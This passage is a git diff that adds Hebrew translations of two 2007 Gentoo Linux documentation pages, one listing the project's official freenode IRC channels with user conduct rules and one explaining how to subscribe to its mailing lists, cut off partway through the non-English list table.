@@ -0,0 +1,417 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/he/irc.xml,v 1.1 2007/03/26 13:05:52 neysx Exp $ -->
+
+<mainpage lang="he">
+<title>משאבי IRC של ג'נטו לינוקס</title>
+<author title="Editor">
+  Colin Morey
+</author>
+<author title="Editor">
+  <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="Editor">
+  <mail link="klasikahl@gentoo.org">Zack Gilburd</mail>
+</author>
+<author title="Editor">
+  <mail link="avenj@gentoo.org">Jon Portnoy</mail>
+</author>
+<author title="Editor">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="Editor">
+  <mail link="fox2mike@gentoo.org">Shyam Mani</mail>
+</author>
+<author title="Editor">
+  <mail link="astinus@gentoo.org">Alex Howells</mail>
+</author>
+<author title="מתרגם">
+  <mail link="gentoo@shimi.net">Shimi</mail>
+</author>
+
+<abstract>
+ערוצי IRC רשמיים של ג'נטו
+</abstract>
+
+<license/>
+
+<version>1.21</version>
+<date>2007-03-22</date>
+
+<chapter>
+<title>Internet Relay Chat</title>
+<section>
+<body>
+
+<p>
+<b>כל ערוצי ה-IRC הרשמיים שלנו נמצאים ברשת <uri link="http://www.freenode.org/">freenode</uri>:</b>.
+</p>
+
+<p>
+כל הערוצים שלנו מנוהלים על ידי מפתחי ג'נטו עבור שימוש הדדי של משתמשים ותורמים, ואנו
+מחשיבים את ה-IRC להיות פתוח עבור כולם.
+הרגישו חופשיים לקפוץ ולהציג את עצמכם, וחשבו על זה כמשאב למקרים שבהם אתם נתקלים
+בבעיות או שיש לכם שאלות על ג'נטו לינוקס.
+</p>
+
+<p>
+אנו מבקשים מעט מאוד ממשתמשים המבקרים בערוצי התמיכה שלנו ב-freenode:
+</p>
+
+<ul>
+  <li>אנא התנהגו בהגיון ובבגרות, וצייתו ל<uri link="http://www.gentoo.org/proj/en/council/coc.xml">קוד ההתנהגות</uri>.</li>
+  <li>אנא קראו את הטופיק כשאתם נכנסים לערוץ, הוא מכיל מידע חשוב!</li>
+  <li>בוטים או סקריפטים שמדברים אינם רצויים ברוב הערוצים. אם אתם בספק, אנא תשאלו.</li>
+  <li>אנא אל תשתמשו ב-<c>CTCP VERSION</c> ודומיו על משתמשים / ערוצים ללא קבלת הסכמתם.</li>
+  <li>שימו לב שאנו מפעילים מדיניות של שפה נקייה ב-<c>#gentoo</c>, וקללות אסורות.</li>
+</ul>
+
+<p>
+צריך לשים לב שאנו <b>לא</b> נותנים תמיכה להפצות המבוססות על ג'נטו לינוקס.
+</p>
+
+<table>
+<tr>
+  <th><b>ערוצים כלליים וערוצי פיתוח</b></th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo">#gentoo</uri></ti>
+  <th>דיונים כלליים ותמיכת משתמשים</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-ops">#gentoo-ops</uri></ti>	 
+  <th>אנשי הצוות של <c>#gentoo</c>, בעיות הקשורות לערוץ מקומן כאן</th>	 
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-db">#gentoo-db</uri></ti>
+  <th>דיונים בנוגע לחבילות הקשורות למסדי נתונים</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-dev">#gentoo-dev</uri></ti>
+  <th>דיונים בפיתוח בלבד</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-dev-help">#gentoo-dev-help</uri></ti>
+  <th>מקום העבודה של כותבי ה-Ebuild-ים</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-doc">#gentoo-doc</uri></ti>
+  <th>פיתוח התיעוד של ג'נטו</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-desktop">#gentoo-desktop</uri></ti>
+  <th>שולחן העבודה, מפתחים ומשתמשים</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-security">#gentoo-security</uri></ti>
+  <th>דיונים אודות האבטחה של ג'נטו לינוקס</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-cluster">#gentoo-cluster</uri></ti>
+  <th>ג'נטו לינוקס ב-Cluster</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-embedded">#gentoo-embedded</uri></ti>
+  <th>ג'נטו לינוקס במערכות מוכללות (embedded)</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-games">#gentoo-games</uri></ti>
+  <th>דיונים במשחקים טבעיים בג'נטו לינוקס (ללא Cedega/Wine)</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-haskell">#gentoo-haskell</uri></ti>
+  <th>חבילות Haskell</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-hardened">#gentoo-hardened</uri></ti>
+  <th>ג'נטו לינוקס מוקשח</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-java">#gentoo-java</uri></ti>
+  <th>צ'אט בנושאים הקשורים לג'אווה</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-kde">#gentoo-kde</uri></ti>
+  <th>תחזוקת חבילות KDE</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-laptop">#gentoo-laptop</uri></ti>
+  <th>צ'אט בנושאי מחשבים ניידים</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-netmail">#gentoo-netmail</uri></ti>
+  <th>חבילות הקשורות לדואר אלקטרוני</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-netmon">#gentoo-netmon</uri></ti>
+  <th>חבילות ניטור רשת</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-php">#gentoo-php</uri></ti>
+  <th>דיון/תמיכה ב-PHP בג'נטו</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-perl">#gentoo-perl</uri></ti>
+  <th>פרל בג'נטו</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-portage">#gentoo-portage</uri></ti>
+  <th>פיתוח ג'נטו Portage</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-ruby">#gentoo-ruby</uri></ti>
+  <th>רובי בג'נטו</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-science">#gentoo-science</uri></ti>
+  <th>פרוייקט המדע של ג'נטו</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-server">#gentoo-server</uri></ti>
+  <th>צ'אט בנושאי שרתים</th>
+</tr>
+<tr>
+  <ti><uri 
+  link="irc://irc.freenode.net/gentoo-userreps">#gentoo-userreps</uri></ti>
+  <th>כאן תוכלו למצוא ולדבר עם נציגי המשתמשים</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-web">#gentoo-web</uri></ti>
+  <th>כל מה שקשור ל-web ול-webapps (בג'נטו כמובן)</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-voip">#gentoo-voip</uri></ti>
+  <th>דיונים בנוגע ל-Voice over IP</th>
+</tr>
+</table>
+
+<table>
+<tr>
+  <th>ערוצי תמיכה לפלטפורמות ספציפיות</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-alpha">#gentoo-alpha</uri></ti>
+  <th>ג'נטו לינוקס/Alpha</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-amd64">#gentoo-amd64</uri></ti>
+  <th>ג'נטו לינוקס/AMD64</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-arm">#gentoo-arm</uri></ti>
+  <th>ג'נטו לינוקס/ARM</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-bsd">#gentoo-bsd</uri></ti>
+  <th>ג'נטו *BSD</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-hppa">#gentoo-hppa</uri></ti>
+  <th>ג'נטו לינוקס/HPPA</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-hurd">#gentoo-hurd</uri></ti>
+  <th>ג'נטו Hurd</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-ia64">#gentoo-ia64</uri></ti>
+  <th>ג'נטו לינוקס/IA-64</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-mips">#gentoo-mips</uri></ti>
+  <th>ג'נטו לינוקס/MIPS</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-osx">#gentoo-osx</uri></ti>
+  <th>ג'נטו לינוקס/OSX</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-ppc">#gentoo-ppc</uri></ti>
+  <th>ג'נטו לינוקס/PPC</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-ppc64">#gentoo-ppc64</uri></ti>	 
+  <th>ג'נטו לינוקס/PPC64</th>	 
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-sparc">#gentoo-sparc</uri></ti>
+  <th>ג'נטו לינוקס/Sparc</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-x86">#gentoo-x86</uri></ti>
+  <th>ג'נטו לינוקס/פיתוח x86</th>
+</tr>
+</table>
+
+<table>
+<tr>
+ <th>ערוצי פרוייקטים ותתי-פרוייקטים</th>
+</tr>
+<tr>
+ <ti><uri link="irc://irc.freenode.net/gentoo-apache">#gentoo-apache</uri></ti>
+ <th>צ'אט בנושאי פיתוח אפאצ'י בג'נטו</th>
+</tr>
+<tr>
+ <ti><uri link="irc://irc.freenode.net/gentoo-bugs">#gentoo-bugs</uri></ti>
+ <th>אירועי ימי באגים בג'נטו, תיקוני באגים בג'נטו</th>
+</tr>
+<tr>
+ <ti><uri link="irc://irc.freenode.net/gentoo-events">#gentoo-events</uri></ti>
+ <th>תכנון וצ'אט בזמן אמת של אירועים פומביים של ג'נטו</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-eselect">#gentoo-eselect</uri></ti>
+  <th>הפריימוורק המודולרי של ג'נטו עבור אדמיניסטרציה וכלי תצורה</th>
+</tr>
+<tr>
+ <ti><uri link="irc://irc.freenode.net/gentoo-installer">#gentoo-installer</uri></ti>
+ <th>צ'אט אודות תוכנת ההתקנה של ג'נטו</th>
+</tr>
+<tr>
+ <ti><uri link="irc://irc.freenode.net/gentoo-kernel">#gentoo-kernel</uri></ti>
+ <th>דיונים בנושאי פיתוח הקרנל בג'נטו</th>
+</tr>
+<tr>
+ <ti><uri link="irc://irc.freenode.net/gentoo-vps">#gentoo-vps</uri></ti>
+ <th>צ'אט בנושאי VPS על ג'נטו</th>
+</tr>
+<tr>
+ <ti><uri link="irc://irc.freenode.net/gentoo-mirrors">#gentoo-mirrors</uri></ti>
+ <th>צ'אט בנושאי אתרי מראה וניהול</th>
+</tr>
+<tr>
+ <ti><uri link="irc://irc.freenode.net/gentoo-releng">#gentoo-releng</uri></ti>
+ <th>דיונים פנימיים של הנדסת הגירסאות של ג'נטו</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-gwn">#gentoo-gwn</uri></ti>
+  <th>הניוזלטר השבועי של ג'נטו</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-forums">#gentoo-forums</uri></ti>
+  <th>צ'אט בנושא הפורומים של ג'נטו</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-commits">#gentoo-commits</uri></ti>
+  <th>מידע בזמן אמת אודות ביצועי commit ל-CVS/SVN של ג'נטו</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-vdr">#gentoo-vdr</uri></ti>
+  <th>צ'אט בנושאי VDR ו-DVB בג'נטו</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-lisp">#gentoo-lisp</uri></ti>
+  <th>צ'אט בנושא Lisp בג'נטו</th>
+</tr>
+</table>
+
+<table>
+<tr>
+  <th>ערוצי תמיכה בשפות מסויימות</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-au">#gentoo-au</uri></ti>
+  <th>Australia</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-be">#gentoo-be</uri></ti>
+  <th>In het Nederlands</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-br">#gentoo-br</uri></ti>
+  <th>Português do Brasil</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo.cs">#gentoo.cs</uri></ti>
+  <th>česky a slovensky</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-cn">#gentoo-cn</uri></ti>
+  <th>简体中文</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo.de">#gentoo.de</uri></ti>
+  <th>Auf Deutsch</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-dk">#gentoo-dk</uri></ti>
+  <th>På Dansk</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-el">#gentoo-el</uri></ti>
+  <th>Στα Ελληνικά</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-es">#gentoo-es</uri></ti>
+  <th>En español</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-fi">#gentoo-fi</uri></ti>
+  <th>Suomeksi</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoofr">#gentoofr</uri></ti>
+  <th>En français</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-id">#gentoo-id</uri></ti>
+  <th>Komunitas Pengguna Gentoo Indonesia</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-in">#gentoo-in</uri></ti>
+  <th>Support for Indian Gentoo Users and Indic localization</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-it">#gentoo-it</uri></ti>
+  <th>In Italiano</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-ja">#gentoo-ja</uri></ti>
+  <th>日本語で</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-nl">#gentoo-nl</uri></ti>
+  <th>In het Nederlands</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-no">#gentoo-no</uri></ti>
+  <th>På norsk</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo.pl">#gentoo.pl</uri></ti>
+  <th>Po Polsku</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-pt">#gentoo-pt</uri></ti>
+  <th>Em Português</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-ro">#gentoo-ro</uri></ti>
+  <th>Discuţii în limba română</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-ru">#gentoo-ru</uri></ti>
+  <th>на русском языке</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-se">#gentoo-se</uri></ti>
+  <th>På svenska</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-tw">#gentoo-tw</uri></ti>
+  <th>使用繁體中文(台灣)</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-ua">#gentoo-ua</uri></ti>
+  <th>Українською</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.freenode.net/gentoo-uk">#gentoo-uk</uri></ti>
+  <th>United Kingdom</th>
+</tr>
+</table>
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/he/lists.xml b/xml/htdocs/main/he/lists.xml
new file mode 100644
index 00000000..0c2ade12
--- /dev/null
+++ b/xml/htdocs/main/he/lists.xml
@@ -0,0 +1,574 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/he/lists.xml,v 1.1 2007/03/26 13:05:52 neysx Exp $ -->
+
+<mainpage lang="he">
+<title>רשימות התפוצה של ג'נטו לינוקס</title>
+
+<author title="כותב">
+  <mail link="lcars@gentoo.org">Andrea Barisani</mail>
+</author>
+<author title="כותב">
+  <mail link="cybersystem@gentoo.org">Sascha Schwabbauer</mail>
+</author>
+<author title="עורך">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="עורך">
+  <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="מתרגם">
+	<mail link="gentoo@shimi.net">Shimi</mail>
+</author>
+
+<abstract>
+רשימות תפוצה פומביות של ג'נטו
+</abstract>
+
+<license/>
+<version>3.9</version>
+<date>2007-03-07</date>
+
+<chapter>
+<title>רשימות תפוצה</title>
+<section>
+<body>
+
+<p>
+לפרוייקט התוכנה החופשית של ג'נטו יש מספר רשימות תפוצה פומביות, המכסות מגוון של
+נושאים הקשורים לג'נטו. רשימות התפוצה שלנו מופעלות על ידי 
+<uri link="http://mlmmj.mmj.dk">mlmmj</uri> והן מספקות כותרי
+<c>List-Id:</c> וקידומות <c>[listname]</c> לנושא של הודעות הדואר,
+כדי להתאים לסטנדרטים וקונבנציות של מנהלי רשימות תפוצה מודרניים.
+</p>
+
+<p>
+כדי לתקשר עם <c>mlmmj</c>, משתמשים בדואר אלקטרוני. כדי להרשם לרשימת תפוצה,
+שלחו דואר אלקטרוני ריק אל הכתובת
+</p>
+
+<p><c>listname+subscribe@gentoo.org</c></p>
+
+<note>
+החליפו את 'listname' עם השם המעשי של הרשימה שאליה ברצונכם להרשם, לדוגמא:
+<c>gentoo-user+subscribe@gentoo.org</c> כדי להרשם לרשימת התפוצה
+<c>gentoo-user</c>.
+</note>
+
+<p>אחרי שהצטרפתם לרשימה, תוכלו לשלוח אליה הודעות על ידי שליחה דואר אלקטרוני אל:</p>
+<p><c>listname@gentoo.org</c></p>
+<p>כדי לבטל את הרישום לרשימת תפוצה, שלחו דואר אלקטרוני ריק אל הכתובת:</p>
+<p><c>listname+unsubscribe@gentoo.org</c></p>
+
+<p>
+לכל הרשימות שלנו יש גם רשימת תקציר תואמת. רשימות תקציר ישלחו אליכם הודעת דוא"ל
+בודדת כל כמה ימים, במקום כל דוא"ל בודד שנשלח אל רשימת התפוצה. שלחו דואר אלקטרוני
+ריק אל הכתובות הבאות כדי להרשם ולבטל רישום מרשימות התפוצה כנ"ל בהתאמה:
+</p>
+
+<p>
+<c>listname+subscribe-digest@gentoo.org</c><br/>
+<c>listname+unsubscribe-digest@gentoo.org</c>
+</p>
+
+<p>
+חלק מהמשתמשים ירצו להיות מסוגלים לשלוח דואר לרשימת התפוצה, אך לא לקבל בפועל
+מכתבים מרשימת התפוצה (כמו למשל משתמשים שקוראים את רשימות התפוצה בשיטה אלטרנטיבית,
+כגון למשל דרך gmane).
+משתמשים אלה יכולים להרשם לאפשרות "nomail" של כל רשימת תפוצה:
+</p>
+
+<p>
+<c>listname+subscribe-nomail@gentoo.org</c><br/>
+<c>listname+unsubscribe-nomail@gentoo.org</c>
+</p>
+<p>
+אתם יכולים ללמוד עוד אודות היכולות של mlmmj על ידי שליחת דואר אלקטרוני ריק
+אל הכתובת הבאה:
+</p>
+
+<p>
+<c>listname+help@gentoo.org</c><br/>
+</p>
+
+<p>
+כמו כן, אתם יכולים ללמוד עוד אודות רשימות התפוצה של ג'נטו על ידי קריאת השאלות הנפוצות אודות
+רשימות התפוצה המופיעות בהמשך מסמך זה.
+</p>
+
+</body>
+</section>
+<section>
+<title>רשימות התפוצה העיקריות של ג'נטו</title>
+<body>
+
+<table>
+<tr>
+  <th>שם הרשימה</th>
+  <th>תיאור</th>
+</tr>
+<tr>
+  <ti><c>gentoo-user</c></ti>
+  <ti>רשימת תפוצה כללית העוסקת בתמיכת משתמשי ג'נטו ובדיונים</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-announce</c></ti>
+  <ti>רשימת תפוצה שנועדה להפצת הכרזות בנוגע לג'נטו (גירסאות חדשות, תיקוני אבטחה)</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-dev</c></ti>
+  <ti>רשימת תפוצה עבור דיוני מפתחים של ג'נטו</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-security</c></ti>
+  <ti>עבור דיונים בנושאי אבטחה ותיקונים</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gwn</c></ti>
+  <ti>הניוזלטר השבועי של ג'נטו</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc</c></ti>
+  <ti>עבור תרומות לתיעוד, הצעות, שיפורים ותרגומים</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-cvs</c></ti>
+  <ti>הצטרפו לרשימה זו אם אתם מעוניינים לקבל יידוע על שינויים בתיעוד שלנו</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-translators</c></ti>
+  <ti>עבור דיונים בנושאי תרגום מסמכים</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-ppc-user</c></ti>
+  <ti>עבור תמיכת משתמשים ודיונים של משתמשי ג'נטו לינוקס על PowerPC</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-ppc-dev</c></ti>
+  <ti>עבור דיוני מפתחים של ג'נטו לינוקס על PowerPC</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-alpha</c></ti>
+  <ti>עבור תמיכת משתמשים ודיונים של משתמשי ג'נטו לינוקס על מעבדי אלפא</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-amd64</c></ti>
+  <ti>עבור תמיכת משתמשים ודיונים של משתמשי ג'נטו לינוקס על מעבדי AMD64</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-arm</c></ti>
+  <ti>דיונים אודות הרצת ג'נטו על ארכיטקטורת ARM</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-hppa</c></ti>
+  <ti>דיונים אודות הרצת ג'נטו על ארכיטקטורת HPPA</ti>
+</tr>	
+<tr>
+  <ti><c>gentoo-ia64</c></ti>
+  <ti>עבור תמיכת משתמשים ודיונים של משתמשי ג'נטו לינוקס על מעבדי ia64</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-mips</c></ti>
+  <ti>דיונים אודות הרצת ג'נטו על ארכיטקטורת MIPS</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-sparc</c></ti>
+  <ti>עבור תמיכת משתמשים ודיונים של משתמשי ג'נטו לינוקס על מעבדי Sparc</ti>
+</tr>
+<tr>   
+  <ti><c>gentoo-osx</c></ti>
+  <ti>עבור דיוני משתמשי ומפתחי ג'נטו על OSX</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-bsd</c></ti>
+  <ti>דיון אודות ג'נטו על BSD</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-xbox</c></ti>
+  <ti>דיונים אודות ג'נטו על Xbox</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-cygwin</c></ti>
+  <ti>עבור תמיכת משתמשי ג'נטו עם cygwin</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-alt</c></ti>
+  <ti>דיונים אודות <uri link="/proj/en/gentoo-alt/">פרוייקט ג'נטו על פלטפורמות אלטרנטיביות</uri></ti>
+</tr>
+<tr>
+  <ti><c>gentoo-kernel</c></ti>
+  <ti>הכרזות ודיונים על שחרורי גירסא של gentoo-sources, vesafb-tng, fbsplash</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-laptop</c></ti>
+  <ti>דיונים על חסכון בחשמל, pcmcia, ושאר הדברים הקשורים למחשבים ניידים</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-desktop</c></ti>
+  <ti>רשימת תפוצה המוקדשת לג'נטו על שולחן העבודה</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-desktop-research</c></ti>
+  <ti>דיונים אודות שיפור חוויית שולחן העבודה של ג'נטו</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-performance</c></ti>
+  <ti>דיונים אודות שיפור הביצועים של ג'נטו</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-hardened</c></ti>
+  <ti>עבור הגירסא המוקשחת של ג'נטו</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-portage-dev</c></ti>
+  <ti>דיונים אודות הפיתוח הפנימי של Portage ושל ממשקיו</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-catalyst</c></ti>
+  <ti>רשימת תפוצה המוקדשת ל-catalyst</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-server</c></ti>
+  <ti>דיונים אודות ג'נטו בסביבות ייצור (production)</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-admin</c></ti>
+  <ti>דיונים אודות נושאי ניהול ג'נטו לינוקס</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-cluster</c></ti>
+  <ti>דיונים אודות ג'נטו בסביבות Cluster</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-web-user</c></ti>
+  <ti>דיונים אודות תצורת web וניהול הקשורים לכלי ה-web של ג'נטו</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-embedded</c></ti>
+  <ti>עבור דיוני משתמשי ומפתחי ג'נטו לינוקס Embedded</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-releng</c></ti>
+  <ti>רשימת תפוצה עבור צוות ניהול הגירסאות של ג'נטו</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-pr</c></ti>
+  <ti>רשימת תפוצה עבור דיון בכל נושאי היח"צ של ג'נטו</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-qa</c></ti>
+  <ti>דיונים אודות QA והשיפור שלו בתוך ג'נטו</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-devrel</c></ti>
+  <ti>רשימת התפוצה של קשרי המפתחים של ג'נטו</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-userrel</c></ti>
+  <ti>רשימת התפוצה של קשרי המשתמשים של ג'נטו</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-council</c></ti>
+  <ti>רשימת התפוצה של המועצה של ג'נטו</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-mirrors</c></ti>
+  <ti>הכרזות ודיונים בין אדמינים של אתרי מראה של ג'נטו ומפתחים בנוגע לגירסאות ונושאים אחרים</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-dev-lang</c></ti>
+  <ti>דיונים על תמיכה בשפות תכנות ונושאים קשורים בג'נטו</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-perl</c></ti>
+  <ti>דיונים אודות פרל בג'נטו</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-java</c></ti>
+  <ti>דיונים אודות ג'אווה בג'נטו</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-science</c></ti>
+  <ti>דיונים אודות אפליקציות מדעיות ואינטגרציה בג'נטו</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-media</c></ti>
+  <ti>דיונים אודות חבילות מדיה של ג'נטו</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gnustep</c></ti>
+  <ti>דיונים אודות GNUstep בג'נטו</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-installer</c></ti>
+  <ti>דיונים אודות <uri link="/proj/en/releng/installer/">פרוייקט תוכנת ההתקנה של ג'נטו</uri></ti>
+</tr>
+<tr>
+  <ti><c>gentoo-accessibility</c></ti>
+  <ti>דיונים אודות <uri link="/proj/en/desktop/accessibility/">פרוייקט הנגישות של ג'נטו</uri></ti>
+</tr>
+<tr>
+  <ti><c>gentoo-scire</c></ti>
+  <ti>דיונים אודות פרוייקט <uri link="/proj/en/scire/">Systems Configuration, Installation and Replication Environment</uri></ti>
+</tr>
+<tr>
+  <ti><c>gentoo-uk</c></ti>
+  <ti>דיונים בין מפתחים מאנגליה וארגון אירועים באנגליה</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-au</c></ti>
+  <ti>דיונים בין מפתחים מאוסטרליה וארגון אירועים מקומיים</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-forum-translations</c></ti>
+  <ti>רשימת תרגומי הפורומים של ג'נטו</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-soc</c></ti>
+  <ti>דיונים אודות פעילויות ג'נטו הקשורות ל-Summer of Code של גוגל</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-devconference</c></ti>
+  <ti>דיונים אודות כנס מפתחי ג'נטו</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-nx</c></ti>
+  <ti>דיונים אודות NX בג'נטו</ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>רשימות תפוצה שאינן באנגלית</title>
+<body>
+
+<table>
+<tr>
+  <th>שם הרשימה</th>
+  <th>תיאור</th>
+</tr>
+<tr>
+  <ti><c>gentoo-user-de</c></ti>
+  <ti>deutschsprachige Gentoo User Diskussionsliste</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-br</c></ti>
+  <ti>רשימת תפוצה בברזילאית של משתמשי ג'נטו</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-user-es</c></ti>
